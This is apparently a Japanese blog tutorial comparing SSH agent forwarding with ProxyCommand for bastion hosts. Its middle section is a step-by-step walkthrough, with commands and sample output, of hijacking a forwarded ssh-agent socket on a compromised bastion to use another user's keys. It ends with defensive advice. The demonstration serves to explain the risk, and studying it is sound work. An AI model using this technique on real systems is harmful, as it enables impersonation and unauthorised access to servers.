ProxyJumpに関する答えを見ました。ProxyCommandについて話しましょう。
しかし、待って、待って!エージェント転送を使用するサーバーをハッキングする方法を説明します。これにより、違いを理解しやすくなります。
ハックしよう!
基本的な手順については、私の投稿をここで読むことができます
基本的な手順は次のとおりです。
- 要塞ユーザーを作成する
- rootログインを無効にする
- ハッキングの試みをブロックする
- ポートを変更
- ファイアウォールを構成する
- SELinuxを設定する
AgentForwardingの使い方
-〜/ .ssh / configに設定を作成
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-認証キーをssh-agentに追加します
ssh-add ~/.ssh/name_rsa
-要塞ホスに接続
ssh bast
-要塞からアプリケーションサーバーを接続する
ssh app@IP -p PORT
ハッキング!
あなたはまあ、私に質問をするかもしれません:
要塞ホストを危険にさらした場合、サーバーをハッキングする方法は?
トラックターゲット
/ tmpディレクトリには、次のようなものがあります。
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
一時ファイルを開いてみましょう
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
このプロセスIDへの接続を見てみましょう。
netstat -nxp | grep 10507
結果:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
そして、誰が接続されていますか?
lsof -i -a -p 10507
結果:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
ソケットファイルも確認できます。
cd /proc/10507/fd/
ls
結果:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
そして、クライアントがリモートサーバーに接続されるとどうなりますか?どれどれ:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
netstatを使用してソケットファイルが使用されているかどうかを確認することもできます。
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
ソケット情報とIPアドレスを盗む
次に、要塞ホストのセッションが開いている間にソケット情報を盗む必要があります。ああ、宛先サーバーのIPも必要なので、netstatを使用します。
netstat -tn
最後のステップを使用するには、転送ソケットファイルを
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
キーが読み込まれているかどうかを確認します。
ssh-add -l
結果はそのようなものになるはずです:
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
サーバーはハッキングされていますが、セキュリティの問題を修正するにはどうすればよいですか?
プロキシコマンド
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
基本的な操作:サーバーを介してファイルを転送する方法(クライアントからサーバー、サーバーからクライアント)、ここの私の投稿で読むことができます
結論
- 要塞ホストを使用する場合は、AgentForwardingを使用せず、ProxyCommandを使用してください
- 認証には常に非rootユーザーを使用する
- ファイアウォールを使用して、不要な接続をすべてブロックします。
- SELinuxを使用する(一般)
- 不正な認証情報で数回ログインしようとするIPアドレスをブロックする
- 必要がない場合は、ユーザーにsudo権限を付与しないでください。
- サーバーを監視する
- セキュリティパッチのためにサーバーを更新する
詳細については、私のブログを参照してください。さらに、私はいくつかのスクリーンショットを持っているので、あなたのために役立つかもしれません。